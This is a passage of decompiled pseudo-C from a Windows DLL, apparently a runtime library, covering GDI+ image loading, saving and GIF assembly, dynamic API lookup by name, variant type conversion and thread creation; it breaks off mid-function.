- //----- (10002BF0) --------------------------------------------------------
- _DWORD *__thiscall sub_10002BF0(_DWORD *this)
- {
- GdiplusStartup(&dword_100148D8, &dword_100148E0, 0);
- *this = 0;
- this[1] = 0;
- return this;
- }
- // 10004ACE: using guessed type int __stdcall GdiplusStartup(_DWORD, _DWORD, _DWORD);
- // 100148D8: using guessed type int dword_100148D8;
- // 100148E0: using guessed type int dword_100148E0;
- //----- (10002C20) --------------------------------------------------------
- int __thiscall sub_10002C20(_DWORD *this)
- {
- sub_10002C40(this);
- return GdiplusShutdown(dword_100148D8);
- }
- // 10004AD4: using guessed type int __stdcall GdiplusShutdown(_DWORD);
- // 100148D8: using guessed type int dword_100148D8;
- //----- (10002C40) --------------------------------------------------------
- int __thiscall sub_10002C40(_DWORD *this)
- {
- int (__thiscall ***v2)(_DWORD, int); // ecx
- int result; // eax
- v2 = (int (__thiscall ***)(_DWORD, int))this[1];
- if ( v2 )
- {
- result = (**v2)(v2, 1);
- this[1] = 0;
- }
- return result;
- }
- //----- (10002C60) --------------------------------------------------------
- BOOL __thiscall sub_10002C60(int *this, LPCSTR lpString)
- {
- int *v2; // esi
- WCHAR *v3; // edi
- int v4; // esi
- int v5; // eax
- void *v6; // esp
- _DWORD *v7; // eax
- int v8; // ecx
- WCHAR v10[6]; // [esp+0h] [ebp-10h] BYREF
- int *v11; // [esp+Ch] [ebp-4h]
- v2 = this;
- v11 = this;
- sub_10002C40(this);
- if ( lpString )
- {
- v4 = lstrlenA(lpString) + 1;
- v5 = 2 * v4 + 3;
- LOBYTE(v5) = v5 & 0xFC;
- v6 = alloca(v5);
- v3 = v10;
- v10[0] = 0;
- MultiByteToWideChar(0, 0, lpString, -1, v10, v4);
- v2 = v11;
- }
- else
- {
- v3 = 0;
- }
- v7 = sub_100031C0((int)v3, *v2);
- v2[1] = (int)v7;
- v8 = v7[2];
- v7[2] = 0;
- return v8 == 0;
- }
- //----- (10002CE0) --------------------------------------------------------
- void __thiscall sub_10002CE0(_DWORD *this, int a2)
- {
- int v2; // esi
- int v3; // eax
- v2 = this[1];
- if ( v2 )
- {
- v3 = GdipImageRotateFlip(*(_DWORD *)(v2 + 4), a2);
- if ( v3 )
- *(_DWORD *)(v2 + 8) = v3;
- }
- }
- // 10004ADA: using guessed type int __stdcall GdipImageRotateFlip(_DWORD, _DWORD);
- //----- (10002D10) --------------------------------------------------------
- int __thiscall sub_10002D10(_DWORD *this, HWND hWnd, int a3, int a4, int a5, int a6)
- {
- int result; // eax
- HDC v8; // ebx
- int v9; // edi
- int ImageWidth; // eax
- int v11; // edi
- int v12; // edi
- int ImageHeight; // eax
- int v14; // esi
- int v15; // eax
- int v16; // esi
- result = (int)GetDC(hWnd);
- v8 = (HDC)result;
- if ( result )
- {
- if ( !a5 )
- {
- v9 = this[1];
- a5 = 0;
- ImageWidth = GdipGetImageWidth(*(_DWORD *)(v9 + 4), &a5);
- if ( ImageWidth )
- *(_DWORD *)(v9 + 8) = ImageWidth;
- }
- v11 = a6;
- if ( !a6 )
- {
- v12 = this[1];
- a6 = 0;
- ImageHeight = GdipGetImageHeight(*(_DWORD *)(v12 + 4), &a6);
- if ( ImageHeight )
- *(_DWORD *)(v12 + 8) = ImageHeight;
- v11 = a6;
- }
- a6 = 0;
- GdipCreateFromHDC(v8, &a6);
- v14 = this[1];
- if ( v14 )
- v15 = *(_DWORD *)(v14 + 4);
- else
- v15 = 0;
- v16 = a6;
- a5 = GdipDrawImageRectI(a6, v15, a3, a4, a5, v11);
- ReleaseDC(hWnd, v8);
- GdipDeleteGraphics(v16);
- return 1;
- }
- return result;
- }
- // 10004AE0: using guessed type int __stdcall GdipDeleteGraphics(_DWORD);
- // 10004AE6: using guessed type int __stdcall GdipDrawImageRectI(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 10004AEC: using guessed type int __stdcall GdipCreateFromHDC(_DWORD, _DWORD);
- // 10004AF2: using guessed type int __stdcall GdipGetImageHeight(_DWORD, _DWORD);
- // 10004AF8: using guessed type int __stdcall GdipGetImageWidth(_DWORD, _DWORD);
- //----- (10002DF0) --------------------------------------------------------
- _DWORD *__thiscall sub_10002DF0(_DWORD *this, int a2, int a3)
- {
- int v3; // ebx
- int v5; // edi
- int ImageWidth; // eax
- int v7; // eax
- int v8; // edi
- int ImageHeight; // eax
- v3 = a2;
- if ( !a2 )
- {
- v5 = this[1];
- a2 = 0;
- ImageWidth = GdipGetImageWidth(*(_DWORD *)(v5 + 4), &a2);
- if ( ImageWidth )
- *(_DWORD *)(v5 + 8) = ImageWidth;
- v3 = a2;
- }
- v7 = a3;
- if ( !a3 )
- {
- v8 = this[1];
- a2 = 0;
- ImageHeight = GdipGetImageHeight(*(_DWORD *)(v8 + 4), &a2);
- if ( ImageHeight )
- *(_DWORD *)(v8 + 8) = ImageHeight;
- v7 = a2;
- }
- return sub_10003260((_DWORD *)this[1], v3, v7, 0, 0);
- }
- // 10004AF2: using guessed type int __stdcall GdipGetImageHeight(_DWORD, _DWORD);
- // 10004AF8: using guessed type int __stdcall GdipGetImageWidth(_DWORD, _DWORD);
- //----- (10002E60) --------------------------------------------------------
- BOOL __thiscall sub_10002E60(_DWORD *this, LPCCH lpMultiByteStr, LPCCH a3)
- {
- WCHAR *v4; // edi
- WCHAR *v5; // eax
- int v6; // esi
- int v7; // eax
- bool v9; // [esp+Ch] [ebp-14h]
- int v10[4]; // [esp+10h] [ebp-10h] BYREF
- v4 = sub_10001260(lpMultiByteStr);
- v5 = sub_10001260(a3);
- v9 = (sub_100030D0(v5, (const wchar_t **)v10) & 0x80000000) == 0;
- v6 = this[1];
- v7 = GdipSaveImageToFile(*(_DWORD *)(v6 + 4), v4, v10, 0);
- if ( v7 )
- *(_DWORD *)(v6 + 8) = v7;
- sub_10001020((int)v4);
- sub_10001020((int)a3);
- return v9;
- }
- // 10004AFE: using guessed type int __stdcall GdipSaveImageToFile(_DWORD, _DWORD, _DWORD, _DWORD);
- //----- (10002EE0) --------------------------------------------------------
- int __thiscall sub_10002EE0(_DWORD *this, int a2)
- {
- void (__thiscall ***v4)(_DWORD, int); // ecx
- if ( !a2 )
- return 0;
- v4 = (void (__thiscall ***)(_DWORD, int))this[1];
- if ( v4 )
- (**v4)(v4, 1);
- this[1] = a2;
- return 1;
- }
- //----- (10002F10) --------------------------------------------------------
- CHAR *__thiscall sub_10002F10(void *this, int a2, LPCSTR lpString)
- {
- int v3; // esi
- WCHAR *v5; // edi
- int v6; // esi
- int v7; // eax
- void *v8; // esp
- int v9; // eax
- CHAR *result; // eax
- int v11; // edi
- int v12; // eax
- int v13; // esi
- int v14; // eax
- CHAR *v15; // esi
- WCHAR *v16; // edi
- int v17; // esi
- int v18; // eax
- void *v19; // esp
- WCHAR v20[6]; // [esp+0h] [ebp-44h] BYREF
- int v21[8]; // [esp+Ch] [ebp-38h] BYREF
- int v22[4]; // [esp+2Ch] [ebp-18h] BYREF
- int v23; // [esp+3Ch] [ebp-8h]
- int v24; // [esp+40h] [ebp-4h] BYREF
- LPCSTR lpStringa; // [esp+50h] [ebp+Ch]
- LPCSTR lpStringb; // [esp+50h] [ebp+Ch]
- v3 = (int)this;
- v21[1] = 690120444;
- v21[3] = 1537801356;
- v21[0] = 1;
- v21[2] = 1203743808;
- v21[5] = 1;
- v23 = (int)this;
- v21[4] = -564812151;
- v21[6] = 4;
- v21[7] = (int)&v24;
- if ( (sub_100030D0(aImageGif, (const wchar_t **)v22) & 0x80000000) != 0 )
- return 0;
- v24 = 18;
- if ( lpString )
- {
- v6 = lstrlenA(lpString) + 1;
- v7 = 2 * v6 + 3;
- LOBYTE(v7) = v7 & 0xFC;
- v8 = alloca(v7);
- v5 = v20;
- v20[0] = 0;
- MultiByteToWideChar(0, 0, lpString, -1, v20, v6);
- v3 = v23;
- }
- else
- {
- v5 = 0;
- }
- lpStringa = *(LPCSTR *)(v3 + 4);
- v9 = GdipSaveImageToFile(*((_DWORD *)lpStringa + 1), v5, v22, v21);
- if ( v9 )
- {
- *((_DWORD *)lpStringa + 2) = v9;
- return 0;
- }
- result = (CHAR *)a2;
- v11 = *(_DWORD *)(v3 + 4);
- v24 = 23;
- if ( a2 )
- {
- v12 = GdipSaveAddImage(*(_DWORD *)(v11 + 4), *(_DWORD *)(a2 + 4), v21);
- if ( v12 )
- {
- *(_DWORD *)(v11 + 8) = v12;
- return 0;
- }
- else
- {
- v13 = *(_DWORD *)(v3 + 4);
- v24 = 20;
- v14 = GdipSaveAdd(*(_DWORD *)(v13 + 4), v21);
- if ( v14 )
- {
- *(_DWORD *)(v13 + 8) = v14;
- return 0;
- }
- else
- {
- v15 = (CHAR *)GdipAlloc(16);
- lpStringb = v15;
- if ( !v15 )
- return 0;
- if ( lpString )
- {
- v17 = lstrlenA(lpString) + 1;
- v18 = 2 * v17 + 3;
- LOBYTE(v18) = v18 & 0xFC;
- v19 = alloca(v18);
- v16 = v20;
- v20[0] = 0;
- MultiByteToWideChar(0, 0, lpString, -1, v20, v17);
- v15 = (CHAR *)lpStringb;
- }
- else
- {
- v16 = 0;
- }
- *(_DWORD *)v15 = &off_1000C1C0;
- *((_DWORD *)v15 + 1) = 0;
- *((_DWORD *)v15 + 2) = GdipLoadImageFromFile(v16, v15 + 4);
- return v15;
- }
- }
- }
- else
- {
- *(_DWORD *)(v11 + 8) = 2;
- }
- return result;
- }
- // 10004AFE: using guessed type int __stdcall GdipSaveImageToFile(_DWORD, _DWORD, _DWORD, _DWORD);
- // 10004B10: using guessed type int __stdcall GdipLoadImageFromFile(_DWORD, _DWORD);
- // 10004B16: using guessed type int __stdcall GdipAlloc(_DWORD);
- // 10004B1C: using guessed type int __stdcall GdipSaveAdd(_DWORD, _DWORD);
- // 10004B22: using guessed type int __stdcall GdipSaveAddImage(_DWORD, _DWORD, _DWORD);
- // 1000C1C0: using guessed type void *off_1000C1C0;
- //----- (100030D0) --------------------------------------------------------
- unsigned int __stdcall sub_100030D0(wchar_t *String2, const wchar_t **a2)
- {
- unsigned int v2; // esi
- const wchar_t **v3; // ebx
- const wchar_t **v4; // edi
- const wchar_t **v6; // ecx
- unsigned int v7; // [esp+10h] [ebp-8h] BYREF
- size_t Size; // [esp+14h] [ebp-4h] BYREF
- v2 = 0;
- v7 = 0;
- Size = 0;
- GdipGetImageEncodersSize(&v7, &Size);
- if ( !Size )
- return -1;
- v3 = (const wchar_t **)malloc(Size);
- if ( !v3 )
- return -1;
- GdipGetImageEncoders(v7, Size, v3);
- if ( !v7 )
- {
- LABEL_7:
- sub_10004C8F(v3);
- return -1;
- }
- v4 = v3 + 12;
- while ( wcscmp(*v4, String2) )
- {
- ++v2;
- v4 += 19;
- if ( v2 >= v7 )
- goto LABEL_7;
- }
- v6 = &v3[19 * v2];
- *a2 = *v6;
- a2[1] = v6[1];
- a2[2] = v6[2];
- a2[3] = v6[3];
- sub_10004C8F(v3);
- return v2;
- }
- // 10004B04: using guessed type int __stdcall GdipGetImageEncoders(_DWORD, _DWORD, _DWORD);
- // 10004B0A: using guessed type int __stdcall GdipGetImageEncodersSize(_DWORD, _DWORD);
- //----- (100031C0) --------------------------------------------------------
- _DWORD *__cdecl sub_100031C0(int a1, int a2)
- {
- _DWORD *v2; // esi
- _DWORD *v4; // [esp-4h] [ebp-8h]
- v2 = (_DWORD *)GdipAlloc(16);
- if ( !v2 )
- return 0;
- *v2 = &off_1000C1C0;
- v2[1] = 0;
- v4 = v2 + 1;
- if ( a2 )
- v2[2] = GdipLoadImageFromFileICM(a1, v4);
- else
- v2[2] = GdipLoadImageFromFile(a1, v4);
- return v2;
- }
- // 10004B10: using guessed type int __stdcall GdipLoadImageFromFile(_DWORD, _DWORD);
- // 10004B16: using guessed type int __stdcall GdipAlloc(_DWORD);
- // 10004B34: using guessed type int __stdcall GdipLoadImageFromFileICM(_DWORD, _DWORD);
- // 1000C1C0: using guessed type void *off_1000C1C0;
- //----- (10003210) --------------------------------------------------------
- _DWORD *__thiscall sub_10003210(_DWORD *this)
- {
- int v2; // eax
- _DWORD *result; // eax
- int v4; // ecx
- int v5; // [esp+4h] [ebp-4h] BYREF
- v5 = 0;
- v2 = GdipCloneImage(this[1], &v5);
- if ( v2 )
- this[2] = v2;
- result = (_DWORD *)GdipAlloc(16);
- if ( !result )
- return 0;
- v4 = v5;
- result[2] = this[2];
- *result = &off_1000C1C0;
- result[1] = v4;
- return result;
- }
- // 10004B16: using guessed type int __stdcall GdipAlloc(_DWORD);
- // 10004B3A: using guessed type int __stdcall GdipCloneImage(_DWORD, _DWORD);
- // 1000C1C0: using guessed type void *off_1000C1C0;
- //----- (10003260) --------------------------------------------------------
- _DWORD *__thiscall sub_10003260(_DWORD *this, int a2, int a3, int a4, int a5)
- {
- int ImageThumbnail; // eax
- _DWORD *result; // eax
- int v8; // ecx
- int v9; // [esp-18h] [ebp-20h]
- int v10; // [esp+4h] [ebp-4h] BYREF
- v9 = this[1];
- v10 = 0;
- ImageThumbnail = GdipGetImageThumbnail(v9, a2, a3, &v10, a4, a5);
- if ( ImageThumbnail )
- this[2] = ImageThumbnail;
- result = (_DWORD *)GdipAlloc(16);
- if ( result )
- {
- v8 = v10;
- result[2] = this[2];
- *result = &off_1000C1C0;
- result[1] = v8;
- }
- else
- {
- GdipDisposeImage(v10);
- return 0;
- }
- return result;
- }
- // 10004B16: using guessed type int __stdcall GdipAlloc(_DWORD);
- // 10004B2E: using guessed type int __stdcall GdipDisposeImage(_DWORD);
- // 10004B40: using guessed type int __stdcall GdipGetImageThumbnail(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 1000C1C0: using guessed type void *off_1000C1C0;
- //----- (100032E0) --------------------------------------------------------
- int __stdcall sub_100032E0(int a1, int a2, int a3)
- {
- int result; // eax
- if ( dword_10014934 )
- {
- result = dword_10014934(a1, a2, a3);
- dword_10014930 = result;
- }
- else
- {
- dword_10014930 = 0;
- return 0;
- }
- return result;
- }
- // 10014930: using guessed type int dword_10014930;
- // 10014934: using guessed type int (__stdcall *dword_10014934)(_DWORD, _DWORD, _DWORD);
- //----- (10003320) --------------------------------------------------------
- HMODULE __cdecl sub_10003320(HMODULE *a1, int a2, LPCSTR *a3)
- {
- HMODULE result; // eax
- result = GetModuleHandleA(*a3);
- *a1 = result;
- a1[2] = (HMODULE)-2147482879;
- return result;
- }
- //----- (10003340) --------------------------------------------------------
- HMODULE __cdecl sub_10003340(HMODULE *a1, int a2, LPCSTR *a3)
- {
- HMODULE result; // eax
- result = LoadLibraryA(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003360) --------------------------------------------------------
- _DWORD *__cdecl sub_10003360(_DWORD *a1, int a2, int *a3)
- {
- int v3; // ecx
- _DWORD *result; // eax
- v3 = *a3;
- result = (_DWORD *)a3[2];
- if ( result == (_DWORD *)-2147482879
- || result == (_DWORD *)-2147483135
- || result == (_DWORD *)-2147483391
- || result == (_DWORD *)-2147482367
- || result == (_DWORD *)-2147483646
- || result == (_DWORD *)-2147483642
- || result == (_DWORD *)-2147482623
- || result == (_DWORD *)-2147482111
- || result == (_DWORD *)-2147483645 )
- {
- *a1 = v3;
- }
- else
- {
- result = a1;
- *a1 = v3;
- }
- return result;
- }
- //----- (100033C0) --------------------------------------------------------
- char *__cdecl sub_100033C0(char *a1, int a2, char **a3)
- {
- char *result; // eax
- int v4; // ecx
- int v5; // ecx
- int v6; // edx
- int v7; // ecx
- int v8; // edx
- char v9; // cl
- __int16 v10; // cx
- result = *a3;
- if ( a3[5] )
- v4 = (int)a3[3];
- else
- v4 = 3;
- switch ( v4 )
- {
- case 1:
- v9 = *result;
- result = a1;
- *a1 = v9;
- *((_DWORD *)a1 + 2) = -2147483391;
- break;
- case 2:
- v10 = *(_WORD *)result;
- result = a1;
- *(_WORD *)a1 = v10;
- *((_DWORD *)a1 + 2) = -2147483135;
- break;
- case 3:
- v5 = *(_DWORD *)result;
- result = a1;
- *(_DWORD *)a1 = v5;
- *((_DWORD *)a1 + 2) = -2147482879;
- break;
- case 4:
- *(_DWORD *)a1 = *(_DWORD *)result;
- result = (char *)*((_DWORD *)result + 1);
- *((_DWORD *)a1 + 1) = result;
- *((_DWORD *)a1 + 2) = -2147482623;
- break;
- case 5:
- v8 = *(_DWORD *)result;
- result = a1;
- *(_DWORD *)a1 = v8;
- *((_DWORD *)a1 + 2) = -2147482367;
- break;
- case 6:
- *(_DWORD *)a1 = *(_DWORD *)result;
- result = (char *)*((_DWORD *)result + 1);
- *((_DWORD *)a1 + 1) = result;
- *((_DWORD *)a1 + 2) = -2147482111;
- break;
- case 7:
- v7 = *(_DWORD *)result;
- result = a1;
- *(_DWORD *)a1 = v7;
- *((_DWORD *)a1 + 2) = -2147483646;
- break;
- case 8:
- *(_DWORD *)a1 = *(_DWORD *)result;
- result = (char *)*((_DWORD *)result + 1);
- *((_DWORD *)a1 + 1) = result;
- *((_DWORD *)a1 + 2) = -2147483645;
- break;
- case 9:
- v6 = *(_DWORD *)result;
- result = a1;
- *(_DWORD *)a1 = v6;
- *((_DWORD *)a1 + 2) = -2147483642;
- break;
- case 10:
- *(_DWORD *)a1 = result;
- *((_DWORD *)a1 + 2) = -2147483644;
- break;
- case 11:
- *(_DWORD *)a1 = result;
- *((_DWORD *)a1 + 2) = -2147483643;
- break;
- default:
- *(_DWORD *)a1 = result;
- *((_DWORD *)a1 + 2) = -2147482879;
- break;
- }
- return result;
- }
- //----- (100034F0) --------------------------------------------------------
- FARPROC __cdecl sub_100034F0(HMODULE hModule, int a2, int a3)
- {
- FARPROC result; // eax
- HMODULE v5; // esi
- int v6; // ebx
- HMODULE ModuleHandleA; // eax
- const CHAR *hModulea; // [esp+14h] [ebp+4h]
- *((_DWORD *)hModule + 2) = -2147483642;
- hModulea = *(const CHAR **)a3;
- if ( !*(_DWORD *)(a3 + 20) )
- {
- v5 = *(HMODULE *)a3;
- v6 = 0;
- while ( 1 )
- {
- if ( v6 )
- {
- if ( v6 == 1 )
- {
- ModuleHandleA = GetModuleHandleA(LibFileName);
- }
- else
- {
- if ( v6 != 2 )
- goto LABEL_11;
- ModuleHandleA = GetModuleHandleA(aGdi32Dll);
- }
- }
- else
- {
- ModuleHandleA = GetModuleHandleA(aKernel32Dll_0);
- }
- v5 = ModuleHandleA;
- LABEL_11:
- result = GetProcAddress(v5, hModulea);
- *(_DWORD *)hModule = result;
- if ( !result && ++v6 < 3 )
- continue;
- return result;
- }
- }
- result = GetProcAddress(*(HMODULE *)(a3 + 12), *(LPCSTR *)a3);
- *(_DWORD *)hModule = result;
- return result;
- }
- //----- (10003580) --------------------------------------------------------
- int __cdecl sub_10003580(int *a1, int a2, int (__thiscall **a3)(int))
- {
- int *v3; // ebp
- int (__thiscall **v4)(int); // esi
- int v5; // edi
- int v6; // eax
- float *v7; // ebx
- unsigned int v8; // ebp
- int v9; // eax
- int v10; // edx
- int result; // eax
- int v12; // [esp+10h] [ebp-8h]
- int (__thiscall *v13)(int); // [esp+14h] [ebp-4h]
- v3 = a1;
- a1[2] = -2147482623;
- v13 = *a3;
- v4 = 0;
- v5 = 3;
- if ( a3[5] )
- v6 = (int)a3[3];
- else
- v6 = 3;
- switch ( v6 )
- {
- case 1:
- a1[2] = -2147483391;
- break;
- case 2:
- a1[2] = -2147483135;
- break;
- case 3:
- a1[2] = -2147482879;
- break;
- case 4:
- a1[2] = -2147482623;
- break;
- case 5:
- a1[2] = -2147482367;
- break;
- case 6:
- a1[2] = -2147482111;
- break;
- case 7:
- a1[2] = -2147483646;
- break;
- case 8:
- a1[2] = -2147483645;
- break;
- case 9:
- a1[2] = -2147483642;
- break;
- case 10:
- a1[2] = -2147483644;
- break;
- default:
- a1[2] = -2147483643;
- break;
- }
- if ( a2 <= 3 )
- goto LABEL_40;
- v7 = (float *)(a3 + 9);
- while ( 1 )
- {
- v8 = *((_DWORD *)v7 + 2);
- if ( !v8 )
- break;
- if ( !v4 )
- {
- v4 = (int (__thiscall **)(int))sub_10001000(128);
- a3 = v4;
- if ( !v4 )
- {
- result = (int)a1;
- *a1 = 0;
- a1[1] = 0;
- return result;
- }
- }
- if ( v8 > 0x80000101 )
- {
- if ( v8 > 0x80000401 )
- {
- if ( v8 == -2147482367 )
- {
- *(float *)&v4[v5 - 1] = (float)(__int64)*v7;
- goto LABEL_37;
- }
- if ( v8 == -2147482111 )
- {
- LABEL_35:
- v12 = (__int64)*(double *)v7;
- ++v5;
- v7 += 3;
- *(double *)&v4[v5 - 2] = (double)v12;
- goto LABEL_37;
- }
- LABEL_34:
- v4[v5 - 1] = *(int (__thiscall **)(int))v7;
- goto LABEL_37;
- }
- if ( v8 == -2147482623 )
- {
- v4[v5 - 1] = *(int (__thiscall **)(int))v7;
- v4[v5++] = (int (__thiscall *)(int))*((_DWORD *)v7 + 1);
- v7 += 3;
- goto LABEL_37;
- }
- if ( v8 != -2147483135 && v8 != -2147482879 )
- goto LABEL_34;
- }
- else if ( v8 != -2147483391 )
- {
- switch ( v8 )
- {
- case 0x80000002:
- case 0x80000006:
- goto LABEL_30;
- case 0x80000003:
- goto LABEL_35;
- case 0x80000004:
- v4[v5 - 1] = *(int (__thiscall **)(int))v7;
- break;
- case 0x80000005:
- v4[v5 - 1] = *(int (__thiscall **)(int))v7;
- break;
- default:
- goto LABEL_34;
- }
- goto LABEL_37;
- }
- LABEL_30:
- v4[v5 - 1] = *(int (__thiscall **)(int))v7;
- LABEL_37:
- ++v5;
- v7 += 3;
- if ( v5 >= a2 )
- goto LABEL_38;
- }
- if ( !v4 )
- {
- v4 = (int (__thiscall **)(int))sub_10001000(16);
- a3 = v4;
- }
- LABEL_38:
- if ( v5 > 31 )
- goto LABEL_42;
- v3 = a1;
- LABEL_40:
- *v4 = (int (__thiscall *)(int))1;
- v4[1] = (int (__thiscall *)(int))(4 * v5 - 12);
- *v3 = sub_10001B30(v13, 0, (int)v4);
- v9 = v3[2];
- v3[1] = v10;
- if ( v9 == -2147483643 )
- *v3 -= 8;
- LABEL_42:
- result = (int)a3;
- if ( a3 )
- return sub_10001020((int)a3);
- return result;
- }
- // 1000373E: variable 'v10' is possibly undefined
- //----- (100037D0) --------------------------------------------------------
- int __cdecl sub_100037D0(int *a1, int a2, int a3)
- {
- int result; // eax
- _DWORD *v4; // [esp+Ch] [ebp-Ch]
- _DWORD *v5; // [esp+Ch] [ebp-Ch]
- _DWORD *v6; // [esp+10h] [ebp-8h]
- int v7; // [esp+14h] [ebp-4h]
- int v8; // [esp+14h] [ebp-4h]
- v4 = *(_DWORD **)a3;
- v6 = *(_DWORD **)(a3 + 12);
- a1[2] = -2147483644;
- if ( v4 && *v4 == 1 && (v5 = v4 + 1, (int)*v5 > 0) )
- {
- v8 = sub_10001B70((_BYTE *)v5 + 4, *v5, v6);
- if ( v6 )
- *v6 = 1;
- result = v8;
- *a1 = v8;
- }
- else
- {
- if ( v6 )
- *v6 = 0;
- result = v7;
- *a1 = v7;
- }
- return result;
- }
- // 10003867: variable 'v7' is possibly undefined
- //----- (10003880) --------------------------------------------------------
- int __cdecl sub_10003880(_DWORD *a1, int a2, int a3)
- {
- _BYTE *v3; // ecx
- const void *v4; // ebp
- _DWORD *v5; // ebx
- int result; // eax
- _DWORD *v7; // [esp-4h] [ebp-18h]
- unsigned int v8; // [esp+10h] [ebp-4h] BYREF
- v3 = *(_BYTE **)a3;
- v7 = *(_DWORD **)(a3 + 12);
- v8 = 0;
- v4 = (const void *)sub_10001C10(v3, &v8, v7);
- v5 = (_DWORD *)sub_10001000(v8 + 8);
- qmemcpy(v5 + 2, v4, v8);
- *v5 = 1;
- v5[1] = v8;
- result = sub_10001020((int)v4);
- *a1 = v5;
- return result;
- }
- //----- (100038F0) --------------------------------------------------------
- int __cdecl sub_100038F0(int *a1, int a2, _DWORD **a3)
- {
- int result; // eax
- _DWORD *lpBuffer; // [esp+Ch] [ebp-8h]
- int dwSize; // [esp+10h] [ebp-4h]
- if ( **a3 == 1 && (lpBuffer = *a3 + 1, dwSize = *lpBuffer + 4, dwSize > 0) )
- {
- result = sub_10001AD0(lpBuffer, dwSize);
- *a1 = result;
- }
- else
- {
- result = (int)a1;
- *a1 = 0;
- }
- return result;
- }
- //----- (10003950) --------------------------------------------------------
- BOOL __cdecl sub_10003950(BOOL *a1, int a2, int *a3)
- {
- BOOL result; // eax
- result = sub_10001AB0(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003970) --------------------------------------------------------
- _DWORD *__cdecl sub_10003970(_DWORD *a1, int a2, int *a3)
- {
- _DWORD *result; // eax
- int v4; // [esp+Ch] [ebp-20h]
- int v5; // [esp+14h] [ebp-18h]
- DWORD *lpThreadId; // [esp+18h] [ebp-14h]
- HANDLE Thread; // [esp+1Ch] [ebp-10h]
- _DWORD *v8; // [esp+20h] [ebp-Ch]
- int i; // [esp+24h] [ebp-8h]
- _DWORD *lpParameter; // [esp+28h] [ebp-4h]
- Thread = 0;
- v5 = 0;
- v4 = *a3;
- v8 = (_DWORD *)a3[3];
- lpThreadId = (DWORD *)a3[6];
- if ( v8 )
- {
- v8 = (_DWORD *)*v8;
- if ( *v8 > 1u )
- goto LABEL_10;
- v5 = v8[1] / 4;
- }
- if ( v5 <= 30 )
- {
- lpParameter = LocalAlloc(0, 4 * v5 + 8);
- if ( lpParameter )
- {
- *lpParameter = v4;
- lpParameter[1] = v5;
- for ( i = 0; i < v5; ++i )
- lpParameter[i + 2] = v8[i + 2];
- Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_10001A50, lpParameter, 0, lpThreadId);
- }
- }
- LABEL_10:
- a1[2] = -2147482879;
- result = a1;
- *a1 = Thread;
- return result;
- }
- //----- (10003AB0) --------------------------------------------------------
- LPVOID __cdecl sub_10003AB0(_DWORD *a1, int a2, int a3)
- {
- LPVOID result; // eax
- a1[2] = -2147482879;
- result = sub_10001440(
- *(char **)a3,
- *(_DWORD *)(a3 + 12) + 8,
- *(_DWORD *)(*(_DWORD *)(a3 + 12) + 4),
- *(_DWORD *)(a3 + 24));
- *a1 = result;
- return result;
- }
- //----- (10003AF0) --------------------------------------------------------
- int __cdecl sub_10003AF0(int *a1, int a2, char **a3)
- {
- int result; // eax
- a1[2] = -2147483646;
- result = sub_10001300(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003B10) --------------------------------------------------------
- _DWORD *__cdecl sub_10003B10(_DWORD *a1, int a2, _DWORD *a3)
- {
- _DWORD *result; // eax
- result = a1;
- a1[2] = -2147482623;
- *a1 = *a3;
- a1[1] = 0;
- return result;
- }
- //----- (10003B30) --------------------------------------------------------
- _DWORD *__cdecl sub_10003B30(_DWORD *a1, int a2, int a3)
- {
- CHAR *v3; // eax
- CHAR *v4; // ebx
- int v6; // esi
- CHAR *v7; // ebp
- _DWORD *result; // eax
- a1[2] = -2147483644;
- v3 = sub_100012B0((LPCWCH)(*(_DWORD *)a3 + 8));
- v4 = v3;
- if ( *v3 )
- {
- while ( *++v3 )
- ;
- }
- v6 = v3 - v4 + 1;
- v7 = (CHAR *)sub_10001000(v6);
- if ( v7 )
- qmemcpy(v7, v4, v6);
- sub_10001020((int)v4);
- result = a1;
- *a1 = v7;
- return result;
- }
- //----- (10003BA0) --------------------------------------------------------
- _DWORD *__cdecl sub_10003BA0(_DWORD *a1, int a2, LPCCH *a3)
- {
- WCHAR *v3; // eax
- WCHAR *i; // ebp
- int v5; // esi
- _DWORD *v6; // ebx
- _DWORD *result; // eax
- a1[2] = -2147483643;
- v3 = sub_10001260(*a3);
- for ( i = v3; *v3; ++v3 )
- ;
- v5 = (char *)v3 - (char *)i + 10;
- v6 = (_DWORD *)sub_10001000(v5);
- if ( v6 )
- {
- qmemcpy(v6 + 2, i, v5 - 8);
- *v6 = 1;
- v6[1] = v5 - 8;
- }
- sub_10001020((int)i);
- result = a1;
- *a1 = v6;
- return result;
- }
- //----- (10003C20) --------------------------------------------------------
- int __cdecl sub_10003C20(_DWORD *a1, int a2, int a3)
- {
- _BYTE *v3; // eax
- _BYTE *v4; // ebx
- unsigned int v6; // esi
- _DWORD *v7; // ebp
- int result; // eax
- a1[2] = -2147483643;
- v3 = (_BYTE *)sub_10001190((char *)(*(_DWORD *)a3 + 8), *(_DWORD *)(*(_DWORD *)a3 + 4));
- v4 = v3;
- if ( *v3 )
- {
- while ( *++v3 )
- ;
- }
- v6 = v3 - v4 + 1;
- v7 = (_DWORD *)sub_10001000(v3 - v4 + 9);
- if ( v4 )
- {
- qmemcpy(v7 + 2, v4, v6);
- *v7 = 1;
- v7[1] = v6;
- }
- result = sub_10001020((int)v4);
- *a1 = v7;
- return result;
- }
- //----- (10003CB0) --------------------------------------------------------
- _DWORD *__cdecl sub_10003CB0(_DWORD *a1, int a2, int a3)
- {
- _WORD *v3; // eax
- _BYTE *v4; // ebx
- int v5; // eax
- unsigned int v6; // ebp
- _DWORD *result; // eax
- _DWORD *v8; // [esp+14h] [ebp+Ch]
- a1[2] = -2147483643;
- v3 = (_WORD *)sub_100010C0((unsigned __int8 *)(*(_DWORD *)a3 + 8), *(_DWORD *)(*(_DWORD *)a3 + 4));
- v4 = v3;
- if ( v3 )
- {
- for ( ; *v3; ++v3 )
- ;
- v5 = ((char *)v3 - v4) >> 1;
- v6 = 2 * v5 + 2;
- v8 = (_DWORD *)sub_10001000(2 * v5 + 10);
- qmemcpy(v8 + 2, v4, v6);
- sub_10001020((int)v4);
- result = v8;
- v8[1] = v6;
- *v8 = 1;
- *a1 = v8;
- }
- else
- {
- result = (_DWORD *)sub_10001000(8);
- result[1] = 0;
- *result = 1;
- *a1 = result;
- }
- return result;
- }
- //----- (10003D60) --------------------------------------------------------
- DWORD __cdecl sub_10003D60(DWORD *a1, int a2, int a3)
- {
